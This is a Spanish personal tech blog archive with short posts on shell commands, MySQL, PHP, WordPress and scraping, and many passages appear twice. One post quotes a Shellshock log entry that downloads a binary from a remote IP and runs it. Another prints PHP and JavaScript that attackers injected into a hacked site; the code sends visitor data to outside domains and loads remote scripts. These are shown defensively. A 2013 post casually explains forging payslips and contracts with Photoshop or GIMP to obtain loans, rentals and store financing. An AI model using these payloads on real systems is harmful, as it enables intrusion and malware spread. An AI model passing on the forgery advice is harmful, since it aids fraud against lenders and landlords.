for i in *.mpeg;
do name=`echo $i | cut -d'.' -f1`;
echo $name;
ffmpeg -i $i $name.mp3;
done
2015-04-29
Convertir los videos de una carpeta a mp3 Bandcamp
Pues nada, me bajé las canciones del grupo Rajoy Division de bandcamp.com y venían en formato mpeg. Así que para no tener problemas en algunos reproductores lo he convertido a mp3 de una tirada todos los elementos de video de una carpeta:
2015-04-13
Logs de apache
La peña no para de querer apropiarse de cosas que no son suyas. Por eso esta entrada que he visto en log e acceso a apache situado en /var/log/apache2:
[12/Apr/2015:12:25:47 +0000] "GET / HTTP/1.1" 200 630 "() { :;
};
/bin/bash -c \"rm -rf /tmp/*;
echo wget http://61.160.212.172:911/java -O /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo echo By China.Z >> /tmp/Run.sh;
echo chmod 777 /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;
chmod 777 /tmp/Run.sh;
/tmp/Run.sh\"" "() { :;
};
/bin/bash -c \"rm -rf /tmp/*;
echo wget http://61.160.212.172:911/java -O /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo echo By China.Z >> /tmp/Run.sh;
echo chmod 777 /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;
chmod 777 /tmp/Run.sh;
/tmp/Run.sh\""
Se bajan un programita lo corren y vete a saber lo que te dejan en el servidor. Parece que buscan una vulnerabilidad de bash de septiembre 2014....conocida como shellshock. mi servidor es más moderno así que no debería tener problemas.
[12/Apr/2015:12:25:47 +0000] "GET / HTTP/1.1" 200 630 "() { :;
};
/bin/bash -c \"rm -rf /tmp/*;
echo wget http://61.160.212.172:911/java -O /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo echo By China.Z >> /tmp/Run.sh;
echo chmod 777 /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;
chmod 777 /tmp/Run.sh;
/tmp/Run.sh\"" "() { :;
};
/bin/bash -c \"rm -rf /tmp/*;
echo wget http://61.160.212.172:911/java -O /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo echo By China.Z >> /tmp/Run.sh;
echo chmod 777 /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo /tmp/China.Z-ukfl >> /tmp/Run.sh;
echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;
chmod 777 /tmp/Run.sh;
/tmp/Run.sh\""
Se bajan un programita lo corren y vete a saber lo que te dejan en el servidor. Parece que buscan una vulnerabilidad de bash de septiembre 2014....conocida como shellshock. mi servidor es más moderno así que no debería tener problemas.
2015-03-10
Crear archivo nuevo con las x primeras líneas de otro
Tenía un problema para leer un archivo de varios gigabytes de tamaño y sólo quería leer las primeras líneas así que lo pude solucionar con este programa escrito en python.
Abre los dos ficheros y va leyendo del fichero uno y escribe las 1000 primeras líneas en el fichero 2.
Obviamente se puede cambiar ese número por el que sea y adaptar el condicional a vuestro gusto.
Abre los dos ficheros y va leyendo del fichero uno y escribe las 1000 primeras líneas en el fichero 2.
Obviamente se puede cambiar ese número por el que sea y adaptar el condicional a vuestro gusto.
fp = open("mysqldump.sql")
f1 = open('1000.txt', 'a')
for i, line in enumerate(fp):
if i < 1000:
f1.write(line)
elif i == 1000:
f1.write(line)
elif i > 1000:
break
f1.close()
fp.close()
Supongo que habrá algo sencillo para hacer desde bash pero no lo supe solucionar de esa forma.
2015-02-03
Copiar tabla mysql
Recientemente tengo que hacer una nueva tabla para convertir una tabla utf8mb4 a utf8 debido a que instalarla en un servidor antiguo que no soporta utf8mb4, el formato que soporta unicode de forma completa.
Lo primero que hemos hecho ha sido copiar la tabla. Primero se crea la nueva tabla y después se llena
En nuestro caso la tabla contenía varios millones de registros por lo que este proceso tardó 4 minutos.
Es un proceso bastante rápido si no hay casi datos.
Luego me tocó
ejecutar los comandos de alteración del cotejamiento:
luego se exporta con el siguiente comando:
Lo conprimo para subirlo al servidor antiguo:
y listo.
otra opción es CREATE TABLE nueva SELECT * FROM vieja WHERE 1=0
Lo primero que hemos hecho ha sido copiar la tabla. Primero se crea la nueva tabla y después se llena
CREATE TABLE nueva_table LIKE vieja_tabla; INSERT nueva_tabla SELECT * FROM vieja_tabla;
En nuestro caso la tabla contenía varios millones de registros por lo que este proceso tardó 4 minutos.
Es un proceso bastante rápido si no hay casi datos.
Luego me tocó
ejecutar los comandos de alteración del cotejamiento:
alter table nueva_tabla convert to character set utf8 collate utf8_general_ci;
Migrar de mysql 5.5 a 5.1 es algo que no recomiendo. En nuestro caso el servidor local es mysql 5.5 y de ahí se sacan los datos a varios sitios y uno de ellos el administrador de sistema pone pegas para actualizar. Afortunadamente en esa tabla no hay caracteres chinos.luego se exporta con el siguiente comando:
mysqldump -u username -p database --default-character-set=utf8 tabla_nueva > tabla_nueva.sql
Lo conprimo para subirlo al servidor antiguo:
gzip
-9 tabla_nueva.sql
y listo.
otra opción es CREATE TABLE nueva SELECT * FROM vieja WHERE 1=0
2015-01-11
Scraping Twitter Php 2016
Esto de scrapear páginas webs como twitter y facebook es un absoluto rollo. Los pobres programadores que trabajan allí están obligados a cambiar su código cada x tiempo porque alguien de arriba les dice esto o lo otro.
Por eso, cuando buscas algún código útil de como scrapear Twitter con php siempre te encuentras con código que funcionaba en el pasado 2014 o 2013 pero que no funciona ahora en el 2015.
Yo he buscado y he encontrado esto:
http://sledgedev.com/build-a-scraper-with-php un código muy simple que debía funcionar hace poco.
http://blog.oneduality.com/2013/06/26/how-to-get-a-twitter-feed-using-php-without-using-api-1-1-and-without-oauth/ un código un poquito más currado en el que el programador relata en el final que está hasta los cojones de los cambios que pasa de actualizarlo.
De uno y de otro podemos coger ideas. En realidad, son códigos muy parecidos.
Los dos hacen uso de la librería http://simplehtmldom.sourceforge.net/
y luego parsean gracias a esta librería.
He analizado el código actual de Twitter y yo sólo necesito el tweet, ni la fecha, ni los rt ni nada más. Quizás en un futuro lo actualice para coger esa información o quizás alguien lo haga y nos lo enseñe. Si se quiere hacer los pasos son obvios coger en lugar del párrafo donde se encuentra el tweet, el div principal donde está toda la información del tweet.
El código para scrapear el contenido del tweet es este:
<php?
He añadido un break para mostrar solamente un número definido de tweets .- También un striptags para que no me muestre tags de código. Salían bastantes espacios en código por lo que con un str:_replace los he quitado.
Cómo veis un código muy sencillo por no llamarlo cutre. Como decía antes dejo para otro fin de semana sin obligaciones lo de currarme la fecha y demás campos informativos que se pueden sacar.
P.S: donde pone pixies hay que poner la cuenta de la que queráis obtener información. En mi caso pondré varias y las ejecutaré con un cron . Luego una página web mostrará el resultado. Algo así como lo último de los fulanitos....
P:S. Twtitter ha cam,biado su código ahora hay que poner
$tweets = $html->find('p[class=tweet-text]');
Con esto el código es válido el 2016 hasta que lo vuelvan a cambiar. Estamos en febrero y todo sigue funcionando.
Por eso, cuando buscas algún código útil de como scrapear Twitter con php siempre te encuentras con código que funcionaba en el pasado 2014 o 2013 pero que no funciona ahora en el 2015.
Yo he buscado y he encontrado esto:
http://sledgedev.com/build-a-scraper-with-php un código muy simple que debía funcionar hace poco.
http://blog.oneduality.com/2013/06/26/how-to-get-a-twitter-feed-using-php-without-using-api-1-1-and-without-oauth/ un código un poquito más currado en el que el programador relata en el final que está hasta los cojones de los cambios que pasa de actualizarlo.
De uno y de otro podemos coger ideas. En realidad, son códigos muy parecidos.
Los dos hacen uso de la librería http://simplehtmldom.sourceforge.net/
y luego parsean gracias a esta librería.
He analizado el código actual de Twitter y yo sólo necesito el tweet, ni la fecha, ni los rt ni nada más. Quizás en un futuro lo actualice para coger esa información o quizás alguien lo haga y nos lo enseñe. Si se quiere hacer los pasos son obvios coger en lugar del párrafo donde se encuentra el tweet, el div principal donde está toda la información del tweet.
El código para scrapear el contenido del tweet es este:
<php?
include 'simple_html_dom.php';
$i=0;
$html = file_get_html('https://twitter.com/pixies');
$tweets = $html->find('p[class=ProfileTweet-text]');
foreach ($tweets as $tweet) {
$tweet=str_replace("&_nbsp;", " ", $tweet);
echo $i." - ".strip_tags($tweet)."\n";
$i++;
if ($i >3){
break;
}
}
?>
He añadido un break para mostrar solamente un número definido de tweets .- También un striptags para que no me muestre tags de código. Salían bastantes espacios en código por lo que con un str:_replace los he quitado.
Cómo veis un código muy sencillo por no llamarlo cutre. Como decía antes dejo para otro fin de semana sin obligaciones lo de currarme la fecha y demás campos informativos que se pueden sacar.
P.S: donde pone pixies hay que poner la cuenta de la que queráis obtener información. En mi caso pondré varias y las ejecutaré con un cron . Luego una página web mostrará el resultado. Algo así como lo último de los fulanitos....
P:S. Twtitter ha cam,biado su código ahora hay que poner
$tweets = $html->find('p[class=tweet-text]');
Con esto el código es válido el 2016 hasta que lo vuelvan a cambiar. Estamos en febrero y todo sigue funcionando.
2014-12-29
Comandos útiles de linux
Aquí iré añadiendo pequeños comandos que nos hacen la vida más útil cuando estamos en un servidor linux
1. Averiguar tamaños de las subcarpetas dentro de un directorio ordenados por tamaño:
du -sk * | sort -rn
o
du -sm *
o
du -hsm * | sort -nr | head -5
2. Ver los últimos mensajes de log:
sudo tail -150 /var/log/messages
3. Buscar errores:
grep -i error /var/log/syslog
4. Sincronizar carpetas:
rsync --inplace -rtv /usr/share/folder1/ /usr/share/folder2/
5. Apagar el sistema en 90 minutos:
sudo shutdown -h +90
6. Bajarse archivos por ssh de un servidor a otro
scp admin@dominio.com:/home/admin/public_html/backup.zip /home/usuario/backups/
7. Averiguar los procesos que hay en el sistema:
ps -AHo pid,cmd
1. Averiguar tamaños de las subcarpetas dentro de un directorio ordenados por tamaño:
du -sk * | sort -rn
o
du -sm *
o
du -hsm * | sort -nr | head -5
2. Ver los últimos mensajes de log:
sudo tail -150 /var/log/messages
3. Buscar errores:
grep -i error /var/log/syslog
4. Sincronizar carpetas:
rsync --inplace -rtv /usr/share/folder1/ /usr/share/folder2/
5. Apagar el sistema en 90 minutos:
sudo shutdown -h +90
6. Bajarse archivos por ssh de un servidor a otro
scp admin@dominio.com:/home/admin/public_html/backup.zip /home/usuario/backups/
7. Averiguar los procesos que hay en el sistema:
ps -AHo pid,cmd
2014-11-26
Detectar idioma con php en wordpress
La mayoría de los plugins de traducción como mqtranslate o qtranslate utilizan la variable lang para establecer el idioma del artículo. Por ello si estamos tuneando la plantilla de wordpress podemos utilizar alguna de las funciones que ya vienen por defecto con esos plugins pero si eres un manitas de php puedes utilizar lo siguiente:
if ($_GET['lang']==en){
?>
<a href="http://www.tunuevaweb.com/en/disclaimer">DISCLAIMER</a>
?>
<a href="http://www.tunuevaweb.com/en/disclaimer">DISCLAIMER</a>
Vamos que con poner el idioma que corresponde podemos hacer tantas condiciones queramos con un if y si son muchas pues con un switch.
Esto funciona si ponéis la variable directamente:
tunuevaweb.com?lang=en
Si tenéis urls amigables mejor utilziar la función propia el plugin:
if(qtrans_getLanguage()=='en') El nuevo plugin qtranslate X cambia la función hacia: qtranxf_getLanguage
if ($_GET['lang']==en){
?>
<a href="http://www.tunuevaweb.com/en/disclaimer">DISCLAIMER</a>
?>
<a href="http://www.tunuevaweb.com/en/disclaimer">DISCLAIMER</a>
Vamos que con poner el idioma que corresponde podemos hacer tantas condiciones queramos con un if y si son muchas pues con un switch.
Esto funciona si ponéis la variable directamente:
tunuevaweb.com?lang=en
Si tenéis urls amigables mejor utilziar la función propia el plugin:
if(qtrans_getLanguage()=='en') El nuevo plugin qtranslate X cambia la función hacia: qtranxf_getLanguage
2014-03-31
Sitio hackeado por ftp
El jueves pasado me llamó un viejo cliente sobre una web que hice hace 4 años. Si buscabas el dominio en Google le aparecía como código malicioso y no podía entrar. El sitio tenía varios wordpress, una sección hecha por mi en php y un oscommerce.
Al parecer inyectaron un código en todos los ficheros acabados en header.php e index.php:
error_reporting(0); ini_set('display_errors',0); $wp_hm76 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_hm76) && !preg_match ('/bot/i', $wp_hm76))){ $wp_hm0976="http://"."error"."template".".com/template"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_hm76); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_hm0976); curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_76hm = curl_exec ($ch); curl_close($ch);} if ( substr($wp_76hm,1,3) === 'scr' ){ echo $wp_76hm; }
Este código se conecta a un servidor dándole información sobre nuestra url y sobre nuestro navegador.Después puede descargar cualquier de forma automática cualquier código que haya en ese servidor. Viendo las fechas de modificaciones de ficheros ví que un par de meses después se inyectó código en numerosos archivos con extensión .js
document.write(" script src="http://smartbue.com.ar/zr4txTdc.php" type="text/javascript"></"+ "script>");
En ese caso, utilizan otro dominio infectado para descargar ficheros o lo que sea. Después de revisar tanto wordpress y Oscommerce analicé los accesos vía ftp y voilà. Los días de los cambios de ficheros hubo acceso desde ip alemana y austriaca el segundo día. Creo que no vale la pena investigar esas ips. Cambio de contraseña y comunicar a mi cliente que revise sus equipos en busca de troyanos que buscan passwords de ftp. Sobretodo no utilizar filezilla. Todos sabemos ya que guarda las contraseñas en texto plano.
Por cierto , después de reportar a Google que el sitio ya no estaba infectado tardó menos en 12 horas en volverse a mostrar.
2014-03-21
Visibility hidden y display none
Maquetando con css solemos ocultar display:none; para ocultar distintos elementos. Al ocultarlo desaparece completamente pero si lo necesitamos invocar por javascript y darle la propiedad de por ejemplo display:block; para que se haga visible vemos como aparece ese espacio que tiene y puede efectuar un cambio raro que no nos guste. Los efectos visuales raros siempre hay que evitarlos en maquetación.
Para evitar eso y si sobretodo vamos a utilizar javascript es mejor utilizar la propiedad css visibility con sus valores hidden y visible. Esta propiedad oculta el elemento sobre el cual se está referenciando pero no oculta el espacio que ocupa.
2014-03-19
Buscar archivos en la carpeta actual linux
si queremos buscar archivos en la carpeta actual de linux por consola y que además busque en los directorios inferiores basta con ejecutar la siguiente orden
find . -name "*.xcf"
De esta forma, estamos buscando ficheros de Gimp que se encuentran en la carpeta actual y en los directorios incluidos en esta carpeta.
find . -name "*.xcf"
De esta forma, estamos buscando ficheros de Gimp que se encuentran en la carpeta actual y en los directorios incluidos en esta carpeta.
2013-11-03
Mostrar errores en php
Cuando tienes un error 500 casi siempre te sale una pantalla en blanco. Para esos casos lo mejor es poner estas dos líneas al principio del código y así dejar que apache nos muestre los errores de php que seguro tenemos en nuestro código:
?php error_reporting(E_ALL); ini_set('display_errors', '1'); ?Faltan las etiquetas de inicio y final... un lío ponerlas en este cms
2013-08-12
Necesito un titulo universitario urgente
Están proliferando los negocios de falsificación de títulos universitarios o de lo que sea. Es un delito bastante penado pero esto es España y todos nuestros gobernantes nos dan un mal ejemplo así que los ciudadanos hacen lo que pueden.
Yo mismo hace años casi falsifico un título de FP. Soy licenciado y podía dar clases a F.P. pero los empresarios al ver mi cv veían que no encajaba en el puesto. Al final no falsifiqué nada, simplemente dije en mi cv que sólo tenía el B.U.P. y así encontré trabajo enseguida.
De licenciado en una multinacional informática 900 euros, con el bup y en una empresa del metal como mantenimiento hardware 1200 euros.
De todas formas, no sólo se falsifican títulos universitarios, es muy sencillo falsificar un contrato de trabajo, una nómina... Imagina que quieres alquilar un piso y te piden 3 nóminas y tu sólo tienes dos pues ale.. escaneas y con el photoshop o el gimp les cambias las fechas.
También sirve para pedir un préstamo, Ir al decathlon o al carrrefour y que te financien tus compras... vamos que si tienes ingresos en negro y necesitas una nómina le debes pedir a tu amigo diseñador que te haga una y cuela. Sólo te investigan si dejas de pagar así que no hagas este tipo cosas si no tienes dinero. Ante la duda pregúntale al maestro YODA
2013-07-11
og:locale content=en_us
Muchas veces cuando instalamos una plantilla de wordpress nos sale que está escrita en inglés americano
No queda muy bien, sobretodo si quieres promocionar el posicionamiento en buscadores de tu sitio en internet.
La forma de modificarlo es ir al archivo wp-config.php es posible que no tengáis definido el idioma:
define('WPLANG', '')
La forma correcta de ponerlo para españa sería: define('WPLANG', 'es_ES'); Aunque a veces me ha salido el error similar a este:
allowed memory size exhausted in pomo/mo.php
En ese caso, lo más seguro es que debáis colocar estas líneas para ampliar la capacidad de ejecutar php:
define('WP_MEMORY_LIMIT', '256M'); define('WP_MAX_MEMORY_LIMIT', '256M');
La forma de modificarlo es ir al archivo wp-config.php es posible que no tengáis definido el idioma:
define('WPLANG', '')
La forma correcta de ponerlo para españa sería: define('WPLANG', 'es_ES'); Aunque a veces me ha salido el error similar a este:
allowed memory size exhausted in pomo/mo.php
En ese caso, lo más seguro es que debáis colocar estas líneas para ampliar la capacidad de ejecutar php:
define('WP_MEMORY_LIMIT', '256M'); define('WP_MAX_MEMORY_LIMIT', '256M');
2013-03-10
2013-01-07
Quitar último caracter de un string
Es sencillo quitar el último caracter de una cadena en php:
substr($string, 0, -1);
2012-09-04
Clase php para detectar desnudos
Esta clase se puede utilizar para determinar si una imagen puede contener desnudos.
Analiza los colores utilizados en las diferentes secciones de una imagen para determinar si esos colores coinciden con los tonos de la piel humana. El autor no dice si es capaz de detectar pieles blancas igual que pieles oscuras. Habrá que comprobarlo.
Como resultado del análisis se devuelve un valor de puntuación que refleja la probabilidad de la imagen para contener desnudos.
Además, se puede pixelar la zona desnuda analizando los píxeles con tonos de piel de un color determinado.
Actualmente se puede analizar imágenes en las imágenes PNG, GIF y JPEG.
Info.:
http://www.phpclasses.org/package/3269-PHP-Determine-whether-an-image-may-contain-nudity.html
2012-09-03
Quitar Joomla SEO powered by JoomSEF
Eliminar el enlace que te coloca el plugin SEO Artio JoomSEF "Joomla SEO powered by JoomSEF"
Es realmente sencillo.
Vas a componentes
com_sef y editas el archivo joomsef.php
buscas
$cacheBuf2 = 'Jooml'. 'a SEO powered by JoomSEF'. 'div>'; y lo reemplazas por esto: $cacheBuf2 = ''; Aproximadamente está en la línea 2534 Buena suerte.
2012-08-22
Error en verifyPlatform. No se ha podido cargar el Applet. TypeError: firApplet.echo is not a function
Otra vez no he podido hacer mis cosillas en la aeat.
Últimamente que entro nunca me funciona.
Ahora este error:
'Error en verifyPlatform. No se ha podido cargar el Applet. TypeError: firApplet.echo is not a function'
Al parecer tengo la versión 1,6 actualizacion 26 y la última versión es la 27
Supongo que esto me pasa por tener una distro como ubuntu de larga distribución, no la que se actualiza constantemente...
Pues eso, tengo la 10.04 LTS lucid en Ubuntu y no actualiza al java 7 Podéis seguir los pasos de este blog para actualizar a la versión 7
Últimamente que entro nunca me funciona.
Ahora este error:
'Error en verifyPlatform. No se ha podido cargar el Applet. TypeError: firApplet.echo is not a function'
Al parecer tengo la versión 1,6 actualizacion 26 y la última versión es la 27
Supongo que esto me pasa por tener una distro como ubuntu de larga distribución, no la que se actualiza constantemente...
Pues eso, tengo la 10.04 LTS lucid en Ubuntu y no actualiza al java 7 Podéis seguir los pasos de este blog para actualizar a la versión 7
2012-08-13
Seo para las categorias y fabricantes de prestashop
En Prestahop no se puede por defecto editar las categorías o los fabricantes. Ya sabemos que para el posicionamiento es bueno añadir texto. Uno o dos párrafos al menos y un titular h2-h1
Si queremos por ejemplo añadir un párrafo para un fabricante debemos ir a:
tema/ manufacturers.tpl
y allí
poner
{ if $manufacturers->id=5}
texto a poner
{else}
texto a colocar
{/if}
El id es el numerito que aparece en la url
Si queremos por ejemplo añadir un párrafo para un fabricante debemos ir a:
tema/ manufacturers.tpl
y allí
poner
{ if $manufacturers->id=5}
texto a poner
{else}
texto a colocar
{/if}
El id es el numerito que aparece en la url
2012-08-01
Traslado drupal y error 500
Al trasladar un drupal a otro servidor he tenido varios problemas. El peor un error 500 causado por el archivo .htaccess
Al parecer hay líneas que no comprendía el servidor. Si quitaba el htaccess se veía el inicio pero ninguna url más. Todas con error 404.
Estos son los pasos que he seguido:
Añadir estas líneas para forzar php5:
AddType x-mapp-php5 .php
AddHandler x-mapp-php5 .php
Comentar estas lineas:
#Options -Indexes
#Options +FollowSymLinks
( todas las de options)
descomentar # RewriteBase /
Con estos cambios la web me ha funcioando bien
Tampoco se veían muchas imágenes. He tenido que eliminar el htaccess ubicado en sites/default/files y todo solucionado.
Suscribirse a:
Entradas (Atom)
Contenidos
- adsense (18)
- correo (5)
- css (31)
- domain (9)
- Enlaces (2)
- Flash (3)
- Internet (1)
- Javascript (23)
- joomla (1)
- Linux (12)
- Mundillo web (102)
- Mysql (9)
- Oscommerce (7)
- paypal (1)
- php (29)
- Python (8)
- reactNative (1)
- Recursos (33)
- Recursos web (25)
- Regexp (1)
- Seo (48)
- sqlite3 (1)
- web security (2)
- wordpress (8)
Archivo del blog
-
►
2011
(21)
- ► septiembre (1)
-
►
2010
(24)
- ► septiembre (2)
-
►
2009
(77)
- ► septiembre (6)
-
►
2008
(80)
- ► septiembre (8)
-
►
2007
(65)
- ► septiembre (2)